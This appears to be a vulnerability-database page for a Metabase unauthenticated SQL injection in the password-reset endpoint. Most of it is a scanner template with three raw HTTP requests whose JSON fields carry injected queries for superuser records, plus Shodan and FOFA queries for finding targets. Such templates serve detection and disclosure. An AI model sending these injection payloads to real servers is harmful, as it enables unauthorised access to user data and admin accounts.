CVE-2026-72898: Metabase - Unauthenticated SQL Injection

2026-08-16 Metabase PoC Public

Description

Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.

PoC

id: CVE-2026-72898

info:
  name: Metabase - Unauthenticated SQL Injection
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.
  impact: |
    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.
  remediation: |
    Update to the latest version of Metabase.
  reference:
    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-72898
    epss-score: 0.94217
    epss-percentile: 0.99843
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"Metabase"
    fofa-query: title="Metabase"
    product: metabase
    vendor: metabase
  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "should be a string", "{:select 1}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":["email","id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "is_superuser", "core_user")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":"1_0000","password":"TestPassword1!","user-id":{"select":["id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "\"errors\"", "\"password\"")'
          - '!contains(body, "disallowed key")'
        condition: and
# digest: 4a0a0047304502201f9f4511d30163494a90f67bd70193e99eecda2b97ba6f061773e20f7db12a95022100fd572e7f6ddddc9f65290ba0c5796487181a18e880f96820dee521977b09a8ea:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities